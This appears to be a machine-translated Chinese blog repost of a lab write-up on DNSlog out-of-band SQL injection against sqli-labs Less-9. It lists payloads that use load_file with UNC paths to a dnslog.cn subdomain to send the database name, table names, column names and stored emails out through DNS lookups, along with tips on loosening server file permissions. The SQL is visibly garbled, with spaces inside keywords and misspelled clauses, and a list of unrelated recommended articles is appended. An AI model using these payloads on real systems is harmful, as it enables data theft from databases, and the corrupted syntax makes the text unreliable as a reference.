DNSlog注入测试

技术DNSlog注入测试 DNSlog注入测试之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的

DNSlog注射试验。

前面提到的时间盲注虽然应用广泛,但其查询耗时较长;而且盲注需要发送大量请求,容易被WAF拦截。

此时,我们将使用DNSlog injection ——,这是一种可以用更少的访问快速获取信息的注入方法。

(但是,它对服务器有一些额外的要求;这里的DNSlog注入只有在相关权限打开且服务器系统为windows时才能执行。)

(BUUOJ,那个sql-lab是不行的。)

请勿在校园网上进行此测试!

准备工作:

1.DNS:一个可用的本地DNS服务器。

这里用的是http://www.dnslog.cn/。

获取子域后,验证您可以使用:

输入网址:http://test.z2v67d.dnslog.cn/,

证明DNS服务器工作正常。

二、SQL:检查权限字段。

如果是这样,那也行;如果没有,转到相关的ini文件并删除第三个值。

三.复制:

以SQL-Labless-9为例。我们过去常常盲目地用时间来注释这个话题。

payloads:

id=-1 ' andif((selectload _ file(concat(' \ \ ',(selectdatabase())limit 0,1), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(table _ name))from information _ schema . table where table _ schema=database()), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(column _ name))from information _ schema . columns hweretable _ schema=database())和table_name='emails '), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex((email _ id))from email slimit1,1), z2v67d.dnslog.cn\\abc ')),1,0) -

DNS服务器记录:

解码:

第四,心路历程。

意识到之前对DNS一无所知,所以花了很长时间看原理(现在还是有点晕)。

在实现的过程中,有两个主要障碍:

(1)加载文件

你需要给它添加一个绝对路径。例如:选择load _ file(' d :/wamp 64/www/sqli-labs-php7-master/Less-1/result . txt ');

测试时,需要使用UNC网络路径。

格式:\\servername\sharename,其中servername是服务器名称。Sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\ \ servername \ sharename \ directory \ filename。

eg : select load _ file(' \ \ \ \ load file test . z2v 67d . dnslog . cn \ \ ABC ');

双反斜杠用于处理转义。

(2)检查数据库的内容。

(如果查询成功,页面将有几秒钟的刷新延迟;可以用来快速判断查询的成败(是否类似于时间盲)。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/62066.html

(0)

相关推荐

  • centos安装jdk1.8并配置环境变量(linux下载jdk并配置java环境)

    技术CentOS系统下如何安装及配置JDK这篇文章主要为大家展示了“CentOS系统下如何安装及配置JDK”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“CentOS系统下如何

    攻略 2021年12月20日
  • 如何配置Hibernate

    技术如何配置Hibernate本篇内容主要讲解“如何配置Hibernate”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“如何配置Hibernate”吧!当我们有了一个持久化类

    攻略 2021年12月4日
  • 如何分析Python自动化运维开发中的变量

    技术如何分析Python自动化运维开发中的变量本篇文章给大家分享的是有关如何分析Python自动化运维开发中的变量,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看

    攻略 2021年12月4日
  • 小数数位顺序表,小数数位表中的知识有哪些

    技术小数数位顺序表,小数数位表中的知识有哪些教学内容小数数位顺序表:小数数位表和小数的读写教学目标:1、使学生了解小数的结构、数位顺序,知道小数的组成,加深对小数意义的认识;2、使学生掌握小数的读写方法,能正确地读写一个

    生活 2021年10月29日
  • oraclenumber型深度解析(oracle逻辑读是读哪里的数据)

    技术怎样浅析Oracle的物理读 逻辑读 一致性读 当前模式读怎样浅析Oracle的物理读 逻辑读 一致性读 当前模式读,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简

    攻略 2021年12月20日
  • 下载附件

    技术下载附件 下载附件down.js/*** @url 下载地址* @filename 所需要的文件名称*/
    import { getToken } from '@/utils/auth'
    import

    礼包 2021年11月4日